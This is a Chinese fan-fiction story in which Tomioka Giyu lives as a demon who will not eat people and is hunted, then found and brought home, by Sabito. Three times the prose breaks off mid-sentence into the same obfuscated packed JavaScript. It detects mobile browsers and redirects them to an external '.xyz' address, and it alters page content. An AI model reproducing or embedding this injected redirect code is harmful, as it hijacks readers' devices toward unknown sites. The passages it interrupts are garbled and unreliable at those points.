《当义勇变成鬼》 1. 第 1 章 00 富冈义勇很困惑,困惑的时间已经很久了,因为最开始对时间的概念很模糊,所以从有意识起,学着用人类的说法去算了下,他保持现在的状态已经有了好几年。 是的,他是一个鬼。当然是个鬼还有名字这一点也叫人困惑。不过困惑的事太多了名字也算不上什么了。 比如他不喜欢吃人,刚有意识的时候他意识混沌地在野外游荡,偶尔碰到被强盗杀害的路人,人肉的香味涌入鼻腔,本能疯狂指引着他去吞食食物,可离得近了那味道又让他忍不住想吐。于是那天晚上义勇直接被吓清醒了,受惊的猫一样找个角落猫了起来。人肉的血腥味让人厌恶,潜意识里也似乎有个声音告诉他绝对不能吃人,加上义勇对进食的欲望也不强烈,于是他逐渐学会了用睡眠抵抗饥饿。 因为这个还被其他鬼排斥来着,不过此前不知为何义勇总对其他同类感到厌恶,所以一直在驱赶藏身地周围的吃人鬼,方圆几里的鬼都被他赶走或杀死了,这样一想被讨厌也不是不能接受了呢。 还比如和其他鬼不同,他还会长个子,按理说鬼的生长已经停止了,只有他这几年间像人类少年一样断断续续长了不少。除了是鬼这一点,他和人类没什么不同。 最开始的时候,义勇只有差不多一米五那么高,不大点的小少年,长了几年变成青年体型后一直没换的水红色和服短了一截。短了很多的衣服穿起来很奇怪,义勇又不会针线(他也没有新布料),实在坚持不了了义勇就戴上一直拴在身上的狐狸面具到山下,靠着打猎来的野猪,拜托猎户的妻子按原来的布料做一套新衣服。 01 义勇观察了她很久才决定接触的,女人嫁过来有几年了,晚上迎丈夫回家的时候总喜欢笑,笑容很温柔很好看。说不上哪来的亲切感,但义勇不讨厌这种感觉,猎户夜里回来晚了,他就默默找个木屋附近的高树守着,防止强盗或同类的鬼袭击那里。 啊,还是第一次和人类说话呢,不想让她被自己苍白的肤色吓到还戴了面具,结果是被好好感谢了。因为丈夫前几天回来时被怪物追赶,死里逃生却摔断了腿,一家人正为生计发愁,义勇就扛着野猪送过来了。 报酬却只是给自己做件衣服。 您在哪里住呢、家里就一个人吗、这么冷的天…… 女人皱着眉毛絮絮叨叨,柔软的手指摸上他冰凉的手臂,眼中因为震惊絮起一层薄雾。 做了准备却仍是意料之外的发展,义勇愣愣地在门口站着,女人说了很多话,一点也不像他想象中矜持礼貌,义勇嘴巴在面具后张着,不知该怎么回复。终于还是抓住了关键的一句。 我再给您重新做一件吧,不同颜色的,我还有其他布料…… “不用了,还是这一件就好。”义勇面具后的眼睛一眨不眨。 “我只要这一件,一样的颜色改大就好。” 虽然不明白为什么女人又不满意了,情绪好激动地拍着他的肩膀,但谢天谢地义勇终于有新衣服穿了。 02 最近鬼的数量增加了,在附近的城镇到处流窜,少数几只跑进了山里,义勇花了几个晚上四处搜索。低等级的鬼和人类长相差别很大,身形高大行动迟缓,只用爪子就可解决。 义勇有自己的血鬼术,可以操纵水流生成锋利的水刀,也可以像现在这样形成一个水龙头洗手。 是的,洗手,因为他不喜欢血液在手上黏糊糊的感觉,所以把鬼切成碎块之后他就站在旁边一丝不苟地洗手。他不喜欢用血鬼术杀鬼,因为总觉得砍掉猎物脖子的不应该是冰蓝的水刀,他也不应该两手空空,手里应该再拿点什么。这种感觉很奇怪,一想这些头就爆裂一样疼痛,时间长了义勇也很少用血鬼术了。 听跑过来的鬼说有猎鬼的剑士也四处猎杀鬼,鬼杀队的……还有叫柱的什么……义勇歪头思考,听不明白,明白的刚被他扬了。 所以暂时放弃思考吧,他只要自己周边干干净净就好。 于是思想开小差的后果是被隐藏气息的敌人偷袭了。 03 义勇猛地偏过头躲过子弹一样飞来的人影,日轮刀贴着他的脖子飞过划出一道血线,面具的绳子被剑气割断,掉到了地上。来人在空中扭转躲过他锋利的指甲,踏在树干上借力落在了另外一边。 月光下来人的带有一侧疤痕的白色面具反射着微弱光线,红色和龟甲纹拼接的羽织微微扬起。看不到脸但为什么突然冲上来,非常暴躁的样子,自己也没有惹他吧,突然就冲过来了。是因为自己戴面具所以不允许别人跟他戴一样的面具吗?义勇非常困惑。可他也不是故意要戴面具的。 受主公委派到京都清除突然增多的鬼,到附近发现鬼的数量突然下降,直觉告诉他是有强大的鬼隐藏着,顺着痕迹搜查了几天才过来的水柱锖兔:“……” 透过月光,锈色头发的剑士愣愣地盯着面容熟悉的鬼。 即使过了几年,他已经成为了柱,也没有一天忘记富冈义勇在最终选拔那天死去的惨烈记忆。是他太疏忽了,忽视了几天连续斩击对日轮刀的磨损,所以才会在斩下最后一刀时突然断刀,自己的头脑一片空白,他以为自己会死在那了。——可他没想到受伤的义勇会冲上来挡在他面前替他死去,哪怕崩溃的他最后用义勇的刀杀了手鬼,最后也没能挽回义勇的生命。 富冈义勇吐着血叫着锖兔的名字死在了他的怀里,那一届选拔的考生只有富冈义勇永远停在了那里。 富冈义勇永远停在了13岁。 人的生命是可贵的,死去的人就再也回不来了,所以他想保护自己珍惜的人,但最终因为自己的弱小和自大没能做到,所以他失去了富冈义勇。哪怕之后从恶鬼手中保护再多的人,也看不到最想看到那人的脸了。 义勇由他和师父葬在了狭雾山。墓碑还在那他每个月都去看,虽然不总是有话说。 义勇已经死了,不像炭治郎的妹妹变成了鬼,现在看到的东西,只能说是有类似能力血鬼术制造的假象。就是有这种以人类痛苦为乐,把珍视之物肆意践踏的卑劣恶鬼。 所以,现在出现在他眼前的用着富冈义勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557048|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相貌的鬼不可饶恕。 04 义勇不明白为什么对方突然失控一样冲了过来,说些什么“丑恶”、“恶鬼”之类的,可义勇觉得自己没吃过人,也不算丑恶吧。 剑士动作敏捷,跟之前遇到的鬼完全不是一个等级,飞速逼近过来要砍下他的脑袋。义勇不想和他死斗,看到逼近的刀刃后急忙后仰。 “水之呼吸,贰之型,水车。”义勇已经避开了,锖兔的刀刃却突然向上翻卷,削断了他的一缕头发。 “猎鬼剑士……”义勇想说点什么,又被杀气腾腾地打断了。 “……不许你用他的脸说话!”对方的眼睛因为愤怒发红,攻势不慢反而越来越快。义勇不停躲闪,他不明白对方愤怒的缘由,如果能不要一直攻击他就好了,他不是很想跟这个人打架,虽然不理解原因,但如果对方受伤了,他的心情也不会好。 义勇:“我没有吃人,也不会跟你打架。”他好不容易抓到空隙退到树枝上站着,说开了就好了吧。 结果完全不是。 熟悉的讲话风格和态度,熟悉的面孔,没给锖兔带来一丝失而复得的喜悦,因为他知道富冈义勇不可能是鬼,只可能是强大的鬼根据他的记忆做的嘲弄。 “水之呼吸,肆之型,打潮。”锈发青年从地上高高跃起,连绵不断的攻势向义勇的位置接踵而来,攻击密不透风,誓要斩下鬼的头颅。 义勇很不解,义勇很难办,他只能用血鬼术做一把暂时的刀把对方架住。 “血鬼术·水形剑。” 义勇第一次用刀形武器对战,因为下意识想到刀所以做出来的也是刀,就连架住对方的招式,一劈一砍,格挡卸力都是自然做出的应对,原来还很好用啊,他想着,没注意对手拿刀的手的微微颤抖。 如果外形可以伪装,声线可以捏造,又为什么会用跟我一样的水之呼吸的剑招。也许世界上真有窥探记忆的血鬼术,可离得这么近,我和你朝夕相处了那么久,和你手合了无数次,只有你会这么回应我的招式,只有你会用那个眼神看我。 我不敢相信,只能不停欺骗自己,我不敢确定你真的是你,我不敢相信真的会有一天,你会突然重现在我的世界里。 “……” 架在水刀上的力气突然加大,义勇没反应过来,水刀突然断裂,他吃了一惊想顺势后撤,对方却比他更快地压了过来。 被一股巨力掼到树上,锖兔压着他把他限制到树干上,刀刃离他只有一线的距离。义勇本能感到不安,用力推了一下发现推不动,“猎鬼剑士……”你能不能松开点……突然衣领被用力抓紧了。猎鬼剑士又生气了吗。 “剑——” “够了……”锖兔紧紧压着他,用力掐住他的脖子,后面的声音更低了义勇也听不清,他迟疑着辨认了一下,发现自己又被骂“恶鬼”了,啊,为什么还要自己“闭嘴”。 “我不是……”恶鬼。他真的没吃人。能不能让他好好说两句话。 义勇还没说完,颈侧就传来一阵剧痛,视野随之黑了下去。 2. 第 2 章 05 就像倦鸟也要归巢,鬼不是群居生物但也要有躲避阳光的庇护所。富冈义勇当然也有,那个在最初不太清醒差点被晒死之后,他花了几个晚上找到的山洞。虽然只有杂草和树叶但是义勇很满意,白天通常都呆在那,夜间活动完后也会默默回到那个窝里去。 义勇习惯了每天有家回的生活,不太喜欢让他无法回家的意外。 06 所以无论如何他还是想回家。 义勇在半睡半醒间复盘今天遇到的事,好像这样做了意外就不会发生了,时光倒流,他现在就能在家里待着了。 今天遇到了奇怪的人,而这个人他好像惹不起。也许是对方愤怒的情绪感染了他,即使在梦里,猎鬼剑士也在非常火爆地举着刀四处追着他乱砍。 他想,如果能给他一次重来的机会,他一定会在看到猎鬼剑士后立刻就跑。 有点郁闷,那种气势义勇真的不知道怎么接比较好。 加上脖子真的很疼,义勇还是慢慢睁开了眼睛。 眼下的情况让他摸不着头脑,周围黑洞洞的,义勇坐起来向后摸到了可能是墙壁的东西。这是一个陌生的房间,猎鬼剑士靠坐在似乎是门的位置,穿过门缝的月光把他半个身体照得亮了些,对比起来义勇这边就黑漆漆的,连窗户都没有,到白天想必也是很昏暗的吧。 是不想让他逃走吗。 没注意到手脚没被绑住甚至可以自由行动,义勇相当迟钝且没有自觉地坐了起来。剑士一动不动呼吸平稳,应该是睡着了,可喜可贺。 他坐在原地思考了几秒,决定趁凌晨太阳没出来赶紧逃走。 不是怕之后会被砍头或剁手剁脚,毕竟义勇平时基本躲在山洞里,只偶尔在夜里出来,猎鬼人的存在对他来说只是道听途说。即是说,富冈义勇是一只过分空白单纯的鬼,毕竟因为特立独行被同类排斥来着呢。 只是第一次遇到猎鬼人就被抓住,义勇自己也有点无奈。现在的他有种像本来好端端走在路上的野猫,什么坏事都没干就被邪恶(义勇决定暂时就这么称呼)的人类捕捉了的错觉。 而且是一名不听他解释的暴躁剑士。 而且不认真的话很难打得过。 所以稍微有点不安……还有一点委屈,他不认为自己是邪恶的。但他也没有其他鬼友,否则还可以互相倾诉,询问一下遇到这种情况该怎么办。他有点后悔不该把那只鬼扬得那么快。 总之今晚的一切都让义勇感到困惑。 ……走之前得带上那个面具,义勇一直很珍惜地在用,可惜绳子断了,回去后试着修吧。 以极轻的动作找了一圈,最后发现面具被放在猎鬼剑士身边的义勇:“……” 07 不想靠近的但是没办法。 因为猎鬼人的感知太敏锐,义勇抿了下嘴唇,眼睛垂下去,不太情愿的用膝盖着地,缓缓挪动到对方身边,试探了几下后拿起了面具。——太在意面具了所以忽视了气氛变化,也没意识到对方一直在沉静地盯着他,珍惜地抚摸面具的动作也被收入眼底。 永别了剑士,义勇在打开门之前默默在心里道了个别,回去以后就在家里安全地窝一段时间吧,他这样计划着摸向门框。 还没用力,手腕就被另一只温热的手抓住,天旋地转。义勇被一股巨力拽着向后躺倒,紧接着被死死压住,义勇慌乱之下想要挣扎,对方好像洞悉了他的想法一样单手擒住他两只手腕压在头顶。 “你……”还没说话手腕就被绑住了,太震惊了头脑一片乱于是紧接着腿也被绑住了。义勇真的呆住了,扭动挣扎都停下来,躺在地上看着月光下控制住他的剑士的脸。 锈色头发的剑士没戴面具的脸眉头紧皱,嘴唇紧抿着死死地盯着他,让义勇下意识闭上了嘴,警觉地保持安静。再说话嘴巴可能也要被绑住了。被绑着会很难受,很难过。果然剑士愣了下,把朝他的脸伸过来的带子收了回去。 没有吃人、不是恶鬼、为何抓我。 身下的鬼很紧张,手腕和脖子因为被暴力对待出现了几道淤痕,只看神态就像被虐待的不知疾苦的小孩子。即使这样鬼也没有出声,安静地倒在地上偶尔歪过头无辜地看他一眼,锖兔却能从他的眼神里读出这些控诉。 他下意识没再用力了,握紧拳头控制着自己直视那张熟悉的写满状况外的脸,好像这样做就能看清这张脸之后的,到底是不是狡猾的善作伪装的恶鬼。 义勇眼睛一眨不眨,剑士似乎不那么暴躁了。 剑士冷冷道:“别妄想用血鬼术,我会在你行动前打晕你。” 他已经让鎹鸦送了信。 “至于你是不是恶鬼,我会把你带回鬼杀队审判。” 所以不要想着逃走。 08 还有两个时辰就要日出时,义勇注意到剑士收到了乌鸦带来的信,过了一会儿剑士朝他走了过来。 义勇手被绑在背后坐在角落,低头看着木质地板,逃脱失败心情有些低落,但他还没放弃思索离开的办法。 剑士走过来在他周围撒了一圈花瓣,是什么仪式吗? 剑士又走来走去,用黑布遮住了屋里几处日出后会透入阳光的缝隙,最后走向他。这是要做什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557049|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>剑士蹲下来幽幽地看着他不说话,义勇也不说话,气氛平静得有点诡异。两个人对视了几秒。 要放我走?义勇张了张口,还未发出声音,剑士猝然靠近,义勇只感到颈侧一痛,再次昏了过去。 确定他失去意识后,锖兔碰了碰他的脸,目光低沉。肤色白皙,睫毛很长,长相秀气,……义勇如果再长几岁,应该就是这个样子。 主公已经同意了他带鬼回去的申请,隐成员在拿着箱子接应他的路上了,只是和紫藤之家不同,这是一处供柱调整的秘密的安全屋,为了保密锖兔需要在一定距离外交接。被他击晕后鬼不会很快醒过来,紫藤花的毒素会阻止鬼的行动,就算克服了这两点,到时候太阳已经升起,鬼只能龟缩在屋里,所以他可以放心离开了。 把门锁好,他会带着箱子及时回来。 09 交接顺利,只是大隐隐于市,锖兔提着箱子离开时,街上已经有在熹微的晨光里摆摊的小贩。 他没想停留,快速穿过街巷时,某个东西闯进眼帘。 …… …… 一切都很顺利,直到他远远看到被破坏的木门,他猛的丢下手里的东西飞奔进屋,只看到地面一大片血迹。 血液混合着紫藤花瓣,正在阳光下飞速变成灰烬。随着锖兔僵住的动作,一个被修好的缀上绳子的狐狸面具也从他怀里掉了出来。 10 富冈义勇跑了。 至于把屋子搞得很血腥混乱,他本不想的,可已经没时间收拾了。 没办法,即使努力醒了过来,紫藤花又让他恶心无力,用水把花冲开后轻松了不少但还是让他吐了血。只是接触到皮肤就会开裂。 好不容易闯了出去太阳却即将升起,他不停奔跑躲避也躲不过灼烧。不知道剑士把他带到了哪里,周围环境很陌生,好在他居然看到了自己那座山下的猎户。应该是早起去收了茅草正赶着车回家,男人轻快地赶着车,白天还要出去打猎。努力把身体缩小以躲避阳光,义勇迅捷地钻入高高堆起的草堆搭上了顺风车,扒拉着草垛把自己尽量遮得严实些。 黑暗里皮肤的裂口缓慢恢复,义勇昏昏沉沉地听着男人哼着的歌,想到了总迎接他回家的笑容温婉的女人。 在猎户到家前,义勇抓着一把茅草滚下车,借着茅草和树荫的遮蔽回到了藏身的山洞。用尽力气用石头从里面堵住缝隙,义勇蜷缩进角落,安静恢复着被灼烧的身体。 他在沉重的困意中想着,过段时间,再去给那家人送一只野猪吧。 猎鬼的剑士很麻烦,真诚希望以后不要再遇到了吧。 3. 第 3 章 11 义勇陷入了昏沉的睡眠。 从几年前那一次起,义勇就没再受过这么严重的伤,因为没有鬼会主动接近太阳。只是逃走的欲望太强,再来一次义勇想他还是会逃走的,那个剑士很奇怪,一想到他心里就闷闷得难受,本能在抗拒思考跟他有关的事。 这是生物趋利避害的本能吗?义勇没心思多想了,因为太阳的灼伤对身体造成的破坏太严重,义勇几乎是在绝对的昏睡中熬过了这段时间。 再次醒来已经是一个月后,无法进食只靠睡眠恢复的后果是义勇的脸色更苍白了,时常需要更多睡眠,因此他出门的次数更少了。山洞周围生物活动的痕迹逐渐增多,野生动物从门口(虽然只是一块巨石但义勇固执地把它称作房间的门)路过时,不会想到荒凉的、长满杂草的山壁里还有另一只生物在沉睡。 意识迷迷糊糊的时候,义勇也会感到一点无奈,他这样生活,是因为只能这样,没有别的选择。 人或是鬼,还是两边都不是,哪怕做鬼义勇也一直体会着难言的割裂感。两边似乎都不需要他的话,那自己到底算什么呢,……稍微有点苦恼。 啊。不能忘了野猪。义勇中途惊醒,默默给自己强调了好几遍。 给自己定了一个小目标,义勇安心地沉入梦乡。 12 调动了鬼杀队的力量查遍了周围都没发现有鬼死去的遗留,锖兔才勉强冷静下来。没有立刻追寻疑似义勇的鬼,他改变了计划独自回程。 在回去的路上,锖兔一直在想,如果真的是义勇,知道自己变成了鬼,按照那家伙的性格,他会不会胡思乱想,质疑自己存在世上的意义之类的。因为从以前起义勇就很容易心软且缺乏自觉。 他没回鬼杀队,而是去了狭雾山,当着师父的面推倒了富冈义勇的墓碑。 没人能阻止他寻找答案。 13 下着大雨,鳞泷左近次无言地站在旁边,看锖兔低头沉默着用铁锹掀起一抔抔墓土,他无法劝说,从对视的第一眼起他就知道,这位徒弟的眼中有冰冷的火焰在燃烧。 …… …… 随着“铛——”的一声响,铁锹从锖兔手中脱开,师徒二人呆呆地看着空着的棺材,鳞泷左近次惊愕万分。 “这……义勇……锖兔,义勇他……” 鳞泷左近次语无伦次地看向锖兔,锖兔却早有预料一般眼睛圆睁着盯着脚下,嘴唇被咬出了血,表情狰狞恐怖。 他真的说不清自己现在的心情,一块石头落了地,又同时被巨大的悲伤击中,过去几年一直积压忍受的痛苦如潮水席卷过来,他没有一刻不在悔恨和思念着。而现在不一样,悲痛悔恨怀念庆幸轻松幸福,在这些情绪之外,还有一点点珍贵的希望滋长了出来。 ……他本以为已经永远失去了的。 义勇还活着。 泪水一颗颗滚落下来,他忍不住站在坑里大口喘气,浑身颤抖着佝偻了腰,又因为太难过了嚎啕大哭起来。 鳞泷左近次还是第一次看到锖兔这样哭。哭声被大雨吞没,没有人知道鬼杀队的水柱还有这么不男子汉的一面,似乎几年的痛苦都在这哭声里了。 真的,他一直以来都真的好后悔好难过,但是现在真的好开心。他不敢相信命运真的会给予他如此珍贵的馈赠。所以,真的很满足。 师父、师父。 锖兔对愣住的鳞泷左近次说。 我见到义勇了。 我一定会找到他,把他带回来的。 14 养好伤后义勇就时不时出来逛逛,主要是找野猪,一边也友好地朝遇到的鬼打听鬼杀队的事,对这个组织有了进一步了解。柱是鬼杀队的最高战力,不会像杂兵一样天天刷新,这让义勇大感放心。 他自认没什么特别的,不至于让一个柱级剑士纠缠着去追寻,于是全身心投入了寻找野猪的事业,偶尔帮猎户一家守夜,白天再回山洞睡觉,过上了充实规律的生活。 野猪野猪野猪。 散步的时候在找野猪。晒月亮的时候在找野猪。杀鬼的时候也在找野猪。 因为可以卖到很高的价钱,义勇很想抓一只上次的野猪。可似乎是受气候和鬼的影响野猪的行动很隐蔽,一时连义勇也找不到了。 “野猪在哪里?”义勇在夜里提着一只好心的路人鬼询问。 “我……我不知道啊你这个混蛋!” “我,”义勇被震惊到了,顿了顿,歪头似乎在思索什么。 被他提在手里的路人鬼眼中涌出希望的光芒,它真诚祈祷这个魔鬼能幡然悔悟,迷途知返。 义勇很快道:“我不叫混蛋。” 义勇对它的回答不太满意。于是片刻后,他再次站在碎块旁边洗起了手。 与此同时,附近城镇的某条巷子里,新任的下弦鬼被锈色头发的剑士提着衣领,剑士阴沉着脸询问:“跟我差不多高,长相乖巧,独来独往的鬼你有没有见到?” 它被打得鼻青脸肿,看着剑士身后倒了一地的低级鬼的手下,怒火滔天才顾不上这个人类说了什么,一味地反击一边尖利地辱骂。于是很快锈发剑士耐心告罄,青筋暴起的脸上绽放出笑容。 …… …… “没用的东西。”片刻后锖兔甩干了刀上的血迹走了出来。 这个镇子的鬼已经被清理干净了,锖兔没有找到义勇的踪迹,他没放弃,径直向另一个方向前进。 15 义勇有点苦恼。 他被跟踪了。 而且暂时对跟踪自己的人没有办法。 起初是晚上看到猎户的妻子,那个女人傍晚提着木桶去河里打水。因为一直在周围关注所以很快注意到她滑倒落水,义勇及时把她捞起来放到了岸上,很快女人醒过来跟着来找人的丈夫回家了。 再有就是前几天,猎户晚归的时候被不干净的东西跟上,半夜那只瘦巴巴的鬼扒着门板要进门时被义勇拎走找了个地方处理了。 最后就是现在,把女人被风吹走的篮子捡回来放在原地,义勇自己刚躲到附近就被女人发现了。 很糟糕,他没想到普通人类的感知力也如此敏锐。女人没有突兀地靠近他,只是像之前一样试探着搭话,声音温柔。 是上次送来野猪的人吗、总感觉前几次也被您帮助了、不管怎样都非常感谢…… 义勇没戴面具不想被看到脸,只能无声地躲在树后换着方向也不说话,本来他就不擅长人际交往。他以为自己躲的很好,可女人眨眨眼睛看着他露在树干外面的红色衣角,每次都能成功找到他。被跟了一路后义勇没办法,露出半张脸让她不要跟着了,可女人看到他的脸后捂住了嘴巴,紧张得脸色发红。 我还以为您是萤火虫妖怪呢、因为只在晚上看到过…… 女人怜爱地看着他年轻苍白的脸,觉得也许他真的是住在山上的妖怪呢。 义勇忍不住了:“我不是妖怪。”是危险的鬼。他想离开这里,从心底感觉到无措。 哦哦,原来是这样啊。 女人提着篮子大胆地走了过来。 能请你来我家吃晚饭吗? 然后义勇就真的逃跑了。 16 如果再给他一次机会义勇不会逃跑了,因为逃跑也没用,也许这就是命运吧。义勇低头看着手里的米饭这样想。 拒绝了女人之后不久义勇就抓到了野猪,可刚把野猪放到门外就被回家的猎户看到了。 于是被突然推开门迎接丈夫的女人看到了。 于是像现在,他被热情的夫妻两个半推半拉着请进屋里了。 被按到桌旁的座位里了。 手里被塞上一碗热腾腾的米饭,义勇茫然地看着饭桌旁不知为何温情地看着他的两人,不知道为什么,想直接离开的想法消失了。 人类的食物难以下咽,义勇怀着困惑和迷茫的心情慢慢吃饭,他吃饭很慢,端庄得像没吃过苦的大家少爷,可被女人笑着擦脸的时候才知道,原来自己的脸上不知何时粘上了饭粒。义勇被吓了一跳,一动不动表情空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557050|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白地放下了饭碗。 在义勇因为困惑动摇的瞬间,窗户被疯狂的食人鬼撞开,利爪划破了男人的肩膀。惊呼声响彻夜空,谁也没想到偏僻的山脚下会有鬼怪袭击。 义勇很快反应过来把男人推到一边,锋利的指甲伸出扑向突袭的鬼。他感到很愤怒,所以不打算给鬼留一点余地。不知从何时起变得寂静的屋子里,身形更小的鬼露出尖牙,把肌肉虬结的另一只同类压到地上疯狂撕扯,撕扯声不断,停下来时窗户下面只剩下了一堆碎肉。 “……” 义勇背对着他们慢吞吞站起来,手上都是血但也没有心情洗了。不知该说点什么,他慢慢转过头,觉得应该先和人类道个别。浓郁的充满诱惑力的香甜气味就在这时突兀地闯进了鼻腔,眼珠不自然地在眼眶里跳动,眼睛紧紧盯着男人流血的肩膀,义勇感受到了从有意识起就再没体验过的感觉。 如果有其他鬼在这里就会好心地告诉他,这种感觉的名字是饥饿。 17 义勇一直认为饥饿也没什么,不吃人也没什么,因为自己一直都做得很好。直到现在他意识到了错误,他依旧不想吃人,可身体确实朝着人类扑了过去,女人惊慌着上前阻止也被他推到一边,胳膊被指甲划出一道血痕。 屋里一片狼藉,血液飞溅。 身体和意识好像分开了,自己真的变成了自己都会讨厌的东西了。 这样下去会怎么样呢,他的喉咙似乎在嘶吼,房间里充斥着女人惊恐的尖叫声,男人缩在角落里让女人不要靠近,视野里他离男人的距离越来越近,表情是从未有过的狰狞和疯狂,义勇的灵魂却一片空白,呆呆的不知所措。 突然他感到了一阵沉闷的巨力,锈色头发的剑士冲了进来将他用力掼到了地上。全身剧痛,手脚都被压制住,剑士回头朝后面喊了句什么。义勇没听见,他控制不住的咬向这个人,下一秒就被带着刀鞘的日轮刀死死卡住牙齿,他难过地疯狂尖叫,即使如此也没让剑士心软一点,控制住他的力气没有放松半分。 剑士的表情比第一次遇到时还要恐怖,被怒意点燃的眼睛灼灼地盯着他,可是义勇连偏头躲避的动作都做不到。剑士在朝他喊着什么,可义勇因为痛苦什么都听不见,太难受了,血管爆起,全身痉挛,他真的好饿,受了伤很难恢复,一直在忍耐痛苦。 明明自己坚持了那么久,明明自己从没想过要和剑士打架,可每次遇到剑士他都会冲上来抓住他让他动弹不得,可他真的没想干坏事的。 他明白了,就像自己总是捕猎野猪,剑士是一只,专门针对自己的生物。 义勇的心跳逐渐平静下来,慢慢跳动着,感到一点难过。 18 拜托猎户夫妻去拿自己放到旁边箱子里的东西,锖兔用力压着义勇不让他动弹。 稀血对鬼的吸引力太强,锖兔追着杀了一路跟踪的鬼才找了过来,他没想到就这样找到了义勇。好在赶到的及时,义勇也还有意识没有伤人,锖兔一边压着他一边叫着他的名字。他记得炭治郎就是这样唤醒祢豆子的意识的。 义勇、振作点、加油你可以的、不要被鬼的意志打倒。 他紧皱着眉喊了好一通,一直在分心关注另外两人的安全,等回过神时身下的鬼已经很安静了。还像小时候一样哭了也没声音,只有眼泪不停往下流,一双蓝眼睛安静地向上看着他,虽然不说话但就是让人能感受到他的委屈和难过。 “你……你哪疼吗?”锖兔立刻就有点慌了,把义勇松开掀开他的袖子到处找伤口。义勇已经平静下来了,他躺在地上,没试着攻击,只是呆呆地注视着他不说话,没有其他情绪,眼泪却无声地往下滚落。 完了,把义勇惹哭了,他一定会被鳞泷师父打的。锖兔在内心崩溃,想试着和义勇沟通一下,张了张口却不知该先说点什么。 剑士又在用那种复杂的眼神看着他了。 义勇在此刻感到了一阵难以抵抗的困倦,他默默离剑士远了点,蜷缩到了角落闭上眼睛,本能地缩小身体,独自陷入了深沉的睡眠。 4. 第 4 章 19 “……” 锖兔看着义勇刻意偏头躲着他,一点点缩到对面一堆箱子搭成的角落里睡着了。 ……啊,义勇的身体像祢豆子一样变成小孩子了。 和在狭雾山时候相比更小些,缩到大了好几码的衣服里就像普通的缺乏安全感的小孩一样,想到祢豆子身上类似的情况,现在也不是很难理解了呢。锖兔目不转睛地注视着,坐在原地守了一会儿,用很轻的动作把义勇从那个阴暗的角落里捞了过来抱着。 按照不知名剑士的指示在屋子四周撒了许多紫藤花瓣再包扎好伤口,夫妻两人在外间等了一会儿也没见人出来,里面倒是很安静。 于是女人试探着走进屋,就看到锈色头发的青年背对着门口坐着,看到他怀里露出的一点熟悉的红色的衣角后她忍不住走过去,就看到青年把那个孩子抱在怀里,表情很温柔地在摸着怀里人的头发。 等等、变小了?女人非常惊讶,顾不上胳膊上伤口还在疼,拽着丈夫过来让他看,两人完全没有不久前的惊慌,好奇的围在旁边,一时间安静的屋里三个人都没出声,都在安静地看着沉睡中的义勇,气氛和谐得有点诡异。 锖兔对两人的反应有点意外也顾不上太多,挑着重点向他们解释了和鬼有关的信息,稀血的事也告诉了他们,两人恍然大悟。好在无人伤亡,锖兔代替义勇朝两人道歉,却被两人激动地否认了。 请不要道歉、不是那孩子的错、他帮了我们很多、从鬼口中保护了我们、他没想伤害我们。 女人抚摸着义勇红色衣服的衣角,丈夫贴心地扶着她,女人在面对危险时都没流泪的眼睛变得湿润,“我很愧疚,硬拉着他来家里,那孩子保护了我们,之后失控挣扎的样子看起来很痛苦。” “我们没有邻居,却一直有种在被默默守护着的感觉,所以一直在探究,见到他的第一眼我就知道没想错……可是,见到他以后让我很难受,那么冷却只穿着单薄的衣服、不善言辞、好像孤独过冬的小动物一样……” “只是看到他,我的心里就觉得,非常寂寞……” “本意是想让他开心的,结果让他难过了,真的、非常抱歉。” 说着说着这对神经大条的夫妻居然相视大哭起来,被出乎意料的一幕冲击到失语的锖兔:“……” 锖兔忽然觉得,从某种角度来说,这两人的气质和义勇很相配。好不容易把两人劝好,这个夜晚对在场几人来说都意义非常。 锖兔抱着变小的义勇轻轻放进随身携带的箱子里,夫妻两个知道后还提前在箱子内部四周加上了防撞的毯子。 “请小心不要让他被撞到。”男人诚恳地提醒,帮忙挽起了义勇过长的袖子,让他以很舒适的姿势睡着。 “我会小心行动的。” 锖兔目光柔和,从怀里掏出一个狐狸面具一起放进箱子,让义勇一醒来就能摸到。他轻吐出一口气道别:“他是对我很重要的人,我找他找了很久。感谢你们的关照,我会带他回队里的,那里有可靠的同伴们,对他来说会更安全。” 变小之后鬼的重量随之变轻,可以很轻松地背在背上前行,他没想过自己也会像炭治郎一样背起珍贵的家人。两年前第一次遇到灶门兄妹时他很羡慕,没想到他也可以找到义勇,虽然这段时间为了找人不眠不休地杀鬼赶路,但一切疲惫在找回义勇后都消失了。 即使变成了鬼也没关系,不记得也没关系,只要他们一直在一起,哪怕未知的未来也一定有美好存在。 长夜将尽,隐成员逐渐赶到,锖兔背上箱子,带着夫妻两人的祝愿踏上了归程。 20 